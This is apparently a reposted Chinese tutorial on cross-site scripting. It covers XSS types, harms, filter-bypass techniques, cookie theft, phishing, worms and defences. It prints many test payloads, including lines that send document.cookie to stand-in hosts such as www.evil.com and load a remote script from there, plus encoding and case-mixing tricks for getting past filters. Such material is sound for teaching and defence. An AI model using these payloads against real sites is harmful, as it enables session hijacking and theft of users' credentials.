XSS初探

1 什麼是XSS跨站腳本javascript

   跨站腳本是一種常常出如今Web應用程序中的計算機安全漏洞,是因爲Web應用程序對用戶輸入過濾不足而產生的。攻擊者利用網站漏洞把惡意的腳本代碼注入到網頁之中,當其餘用戶瀏覽這些網頁時,就會執行其中的惡意代碼,對受害者可能採起Cookie資料盜取、會話劫持、釣魚欺騙等各類攻擊。php

   XSS跨站腳本自己對WEB服務器沒有直接危害,它藉助網站進行傳播,使網站的大量用戶受到攻擊。攻擊者通常經過留言、電子郵件或其餘途徑向受害者發送一個精心構造的惡意URL,當受害者在Web瀏覽器中打開該URL的時候,惡意腳本會在受害者的計算機上悄悄執行。html

2 爲何XSS跨站漏洞會如此廣泛和流行?這是由多個因素形成的java

2.一、Web 瀏覽器自己的設計是不安全的。瀏覽器包含了解析和執行JavaScript等腳本語言的能力,這些語言可用來建立各類格式豐富的功能,而瀏覽器只會執行,不會判斷數據和程序代碼是否惡意。程序員

2.二、 輸入與輸出是Web應用程序最基本的交互,在這過程之中若沒有作好安全防禦,web程序很容易會出現XSS漏洞。web

2.三、 如今的應用程序大部分是經過安全團隊合做完成的,程序員之間的水平良莠不齊,不多有人受過正規培訓,所以,開發的產品不免出現問題。瀏覽器

2.四、無論是開發人員仍是安全工程師,不少都沒有真正意識到XSS的真正危害緩存

2.五、觸發跨站腳本的方式很是簡單,只要向HTML代碼中注入腳本便可安全

3 XSS跨站腳本實例服務器

  HTML的script元素標記中間包含JavaScript,這使瀏覽器知道:當它遇到這一標記時,不該該將此標記內容成HTML或XHTML,從這一點開始,對於內容的控制權已轉移給另外一個內置瀏覽器代理---腳本引擎處理。

  XSS 攻擊就是將非法的JavaScript、VBscript等腳本注入到用戶瀏覽的網頁上執行,而Web瀏覽器自己的設計是不安全的,它只負責解釋和執行Javascript等腳本語言,而不會判斷代碼自己是否對用戶有害。

4 XSS 可能會給網站和用戶帶來的危害簡單歸納以下:

4.一、網絡釣魚,包括盜取各種用戶賬號;

4.二、竊取用戶cookies資料,從而獲取用戶隱私信息,或利用用戶身份進一步對網站執行操做

4.三、劫持用戶(瀏覽器)會話,從而執行任意操做,例如進行非法轉賬、強制發表日誌、 發送電子郵件等

4.四、強制彈出廣告頁面、刷流量等

4.五、網頁掛馬

4.六、進行惡意操做,例如任意纂改頁面信息、刪除文章等

4.七、進行大量的客戶端攻擊,如DDoS攻擊

4.八、獲取客戶端信息,例如用戶瀏覽歷史、真實IP、開放端口等

4.九、控制受害者機器向其餘網站發起攻擊

4.十、結合其餘漏洞,如csrf漏洞,實施進一步做惡

4.十一、提高用戶權限,包括進一步滲透網站

4.十二、傳播跨站腳本蠕蟲等

5 XSS分類

5.一、 反射型XSS

   反射型xss利用通常是攻擊者經過特定手法(好比利用電子郵件),誘使用戶去訪問一個包含惡意代碼的URL,當受害者單擊這些專門設計的連接的時候,惡意javaScript代碼會直接在受害者主機上的瀏覽器執行。它的特色是隻在用戶單擊時觸發,並且只執行一次,非持久化,因此稱爲反射型跨站式腳本。

5.二、 持久性XSS

六、XSS的發掘

衆所周知,數據交互(即輸入/輸出)的地方最容易產生跨站腳本,所以,咱們能夠着重對網站的輸入框、URL參數處進行測試。固然,全部來自COOKIE、POST表單、HTTP頭的內容均可能會產生。

</textarea><script>alert(/XSS/)</script><textarea>

6.一、測試用例

<script>alert(1);</script>

<script>alert('XSS');</script>

<script src="http://www.evil.com/cookie.php"></script>

<script>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script>

<script>alert(String.fromCharCode(88,83,83))</script>

<IMG SRC=javascript:alert(String.fromChar(88,83,83))>

"><script>alert(0)</script>

......

6.二、XSS Filter

一、利用<>標記注射<script>Html/Javascript

若是用戶能夠爲所欲爲地引入<>等標記,那麼他就能操做一個HTML標籤,而後經過<script>標籤就能任意插入由JavaScript或Vbscript編寫的惡意腳本代碼。

如:<script>alert('XSS');</script>

所以,XSSFilter首當其衝要進行過濾和轉義的就是"<>"或<script>等字符。

如此一來,某些形式的XSS即不復存在。

二、利用HTML標籤屬性值執行XSS

假設用戶不能構造本身的HTML標記,可是他們還可使用其餘形式來執行XSS,例如HTML標籤的屬性值。

不少HTML標記中的屬性都支持javascript:[code]僞協議的形式,這個特殊的協議類型聲明瞭URL的主體是任意的JavaScript代碼,由JavaScript的解釋器運行。

因此,用戶能夠利用部分HTML標記的屬性值進行XSS,請看下面的代碼:

<table backgroup="javascript:alert(/xss/)"></table>

<img src="javascript:alert('XSS');">

三、空格回車Tab

若是XSS Filter僅僅把敏感的輸入字符例入黑名單,如對敏感自javascript而言,用戶能夠利用空格、回車和Tab鍵繞過限制,請看下面的例子:

<img src="javas    cript:alert(/xss/)" width=100>

使用關鍵字拆分的技巧,用戶就能突破過濾器的限制,固然,這種技巧不侷限在[tab]鍵,還可使用回車、空格之類的其餘鍵位符。

四、對標籤屬性值轉碼

對普通HTML標記的屬性值進行過濾,用戶還能夠經過編碼處理來繞過,所以HTML中屬性值自己支持ASCII碼形式。ASCII碼,即美國信息互換標準代碼,是目前計算機最通用的編碼標準。由於計算機只能接受數字信息,ASCII碼將字符做爲數字來表示,以便計算機可以接受和處理,好比大寫字母A的ASCII碼是65

根據HTML的屬性值支持ASCII碼的特性,把XSS代碼:<img src="javascript:alert('xss');">

替換成:

<img src="javascrip&#116&#58alert(/xss/);">

因此,爲了防範利用HTML標籤屬性值編碼XSS,最好也過濾&#\等字符。

五、產生本身的事件

如今,假設用戶不能依靠屬性值進行跨站,那還有沒有其餘方法?答案是確定的,事件就是其中一種方法

既然事件能讓JavaScript代碼運行,就意味着用戶也能利用它執行跨站腳本如:

<img src="#" onerror=alert(/xss/)>

六、利用CSS跨站剖析

七、擾亂過濾規則

利用前面所述的各類技巧,包括HTML標籤屬性值、事件、CSS、編碼技術等,用戶能順利繞過XSS Filter的重重過濾。

程序員在汲取各類經驗後,在開發過程當中可能已經仔細考慮到各類觸發XSS的狀況,而後部署好嚴謹措施,如此一來,系統也變得更加牢固、安全。但不要太自信,請繼續看下面示例:

大小寫轉換

大小寫混淆

不用雙引號,而用單引號

不使用引號

八、利用字符編碼

HTML標籤中的某些屬性值可使用&#ASCII方式進行編碼改寫,這種XSS轉碼支持十進制和十六進制形式。

爲了方便測試,咱們接下來使用一個XSS編碼工具,以便對字符進行十進制和十六進制的編碼解碼,該工具還能夠實現ESCAPE轉碼和解碼

另外,在JavaScript中有一個eval()函數,該函數可計算字符串,並執行其中的JavaScript代碼

eval()也能夠執行10進制形式的腳本,但須要配合String.fromCharCode()函數使用。String.fromcharcode()用於將字符轉爲ASCII值。

JavaScript支持unicode、escapes、十六進制、八進制等編碼形式,這種編碼技術若是運用於跨站攻擊,無疑能大大增強XSS的威力。

九、拆分跨站法

 

XSS利用方式剖析

 

1 Cookie竊取攻擊剖析

攻擊者一般利用網站的XSS漏洞發起攻擊。假設一個網站存在存儲型XSS(或反射型XSS),攻擊者就能夠向漏洞頁面寫入竊取Cookie信息的惡意代碼,在用戶瀏覽XSS網頁時,攻擊者就可以獲取受害者當前瀏覽器中的cookie會話攻擊。

2 Cookie會話攻擊原理剖析

<script

document.location="http://www.test.com/cookie.asp?cookie ="+document.cookie

</script>

3 Cookie 欺騙實例剖析

XSS Expliot以下:

http://127.0.0.1/Search.asp?Keyword=<script>var =new Image();x.src="http://127.0.0.1/cookie.asp?cookie="+document.cookie;</script>

XSS Phishing

XSS Phishing Expliot

http://www.bug.com/index.php?s=<script=http://www.evil.com/xss.js></script>

一、XSS重定向釣魚

二、HTML注入式釣魚

三、XSS跨框架釣魚

四、Flash釣魚

4 客戶端信息刺探

1 javascript實現端口掃描

2 獲取剪貼板內容

3 獲取客戶端IP地址

5 其它惡意攻擊剖析

1 網頁掛馬

2 DDOS

3 XSS Virus/Worm

 

XSS測試和工具剖析

 

一、firebug

二、Tamper Data

三、Live HTTP Headers

四、Fiddler

五、XSS-Proxy

六、AttackAPI

七、Anehta

八、 XSS Shell

發掘XSS漏洞剖析

黑盒測試工具

一、Acunetix Web Vulnerability Scanner

二、XSSDetect

三、Ratproxy

黑盒手動測試

若是針對頁面的輸入框進行測試,首先能夠輸入一些觸發XSS的敏感字符,如:

< > " ' & #

爲了實現準確性和全面性,這裏首先選擇輸入特殊字符進行測試。在輸入框中輸入"<XSS>"'&"並提交,而後在提交後的頁面查看源代碼,根據關鍵字「XSS」查找源代碼中的"<XSS>"'&"是否已經被過濾和轉義。若是連最基本的"<>"字符未被轉義,說明這個輸入框可能存在XSS漏洞,藉此再構造完整XSS代碼測試。

 

XSS Worm 剖析

一個完整的XSS Worm攻擊流程以下

一、攻擊者發現目標存在XSS漏洞,而且能夠編寫XSS蠕蟲

二、利用一個宿主(如博客空間)做爲傳播源頭進行XSS攻擊

三、當其餘用戶訪問北感染的空間時,XSS蠕蟲執行如下操做

判斷用戶是否登陸,若是已登陸就執行下一步:若是沒登陸則執行其餘操做

繼續判斷用戶是否被感染,若是沒有就將其感染,若是已感染則跳過

Flash應用安全

編譯好flash文件,將文件命名爲xss.swf,而後新建一個HTML文件並嵌入該Flash文件:

<object id="test" width="200" height="150">

 <param name=movie value="Movie.swf">

   <embed AllowScriptAccess="always" name='test' src="xss.swf" type="application/x-shockwave-flash" width="200" height="150">

   </embed>

</object>

利用嵌入web頁面中的Flash進行XSS有一個決定因素:allowScriptAccess屬性。allowScriptAccess是使用<embed>或<object>標籤引入Flash時提供的一個控制屬性,決定了Flash是否能執行腳本代碼。

Flash在客戶端提供了兩個控制屬性:allowScriptAccess屬性和allowNetworking屬性,其中AllowScriptAccess控制Flash與HTML頁面通訊,若是設置不恰當會致使XSS;而AllowNetworking控制Flash與外部網絡的通訊,若是設置不當會致使CSRF。

 

深刻XSS

利用Data URIS進行XSS剖析

Data URI方案和MHTML有些相似,提供了一種經過base64編碼在網頁中直接潛入文件的方法,利用該方法能夠繞過基於黑名單過濾的XSS防護系統。

Data URI 格式:

data:[<mime type>] [;charset=<charset>][;base64],<encode data>

Data URI最有趣的地方是可讓用戶把文件嵌入到其餘文件中

 

Data URIS XSS

data URI提供了一個在HTML或者CSS文件中嵌入圖片的方法,但沒有嚴格指定嵌入的文件必須是圖片,也就是說,咱們能夠在base64編碼後嵌入任何類型的文件,甚至HTML自己。

<a href="data:text/html;base64,PHNj......">test<a>

<object data="data:text/html;base64,PHNj......"></object>

 

防護XSS攻擊

 

一、使用XSS Filter

輸入過濾

輸出編碼

黑名單和白名單

二、定製過濾策略

三、Web定製編碼規範

四、防護DOM-Based XSS

五、其餘防護方式

 

XSS與字符編碼的那些事兒

html實體編碼(10進制與16進制)

如把尖括號編碼[<] ------>html十進制;&#60; html十六進制:&#x3c

html實體編碼自己存在的意義是防止與HTML自己語義標記的衝突,可是在XSS中卻成爲了咱們的一大利器。

javascript的八進制跟十六進制

如把尖括號編碼[<] ------> js八進制:\74 js十六進制:\x3c

jsunicode編碼

如把尖括號編碼[<] ------>jsunicode:\u003c

url編碼base64

如把尖括號編碼[<] ------>url: %3c base64: PA==

 

HTTP請求頭

消息頭           解釋

Host           請求的域名

User-Agent        客戶端瀏覽器型號

Accept          可接受的內容類型

Accept-Language      可接受的語言

Accept-Encoding      可接受的壓縮類型

Accept-Charset      可接受的內容編碼

Cookie          客戶端的用戶Cookie

if-Modified-Since     客戶端的緩存的最後修改時間

if-None-Match       客戶端緩存文件的標示符

 

HTTP響應報頭

消息頭               解釋

Server          Web服務器軟件名稱

Vary           告訴下游代理是使用緩存響應仍是從原始服務請求

Date           原始服務器消息發出的時間

Last-Modified      請求資源的最後修改時間

Location         用來重定向接收方到非請求URL的位置來完成請求或標識新的資源

Content-Encoding     Web服務器支持的返回內容壓縮編碼類型

Content-Type       返回內容的MIME類型

Content-Length      響應體的長度

Content-Language     響應的語言

相關文章
相關標籤/搜索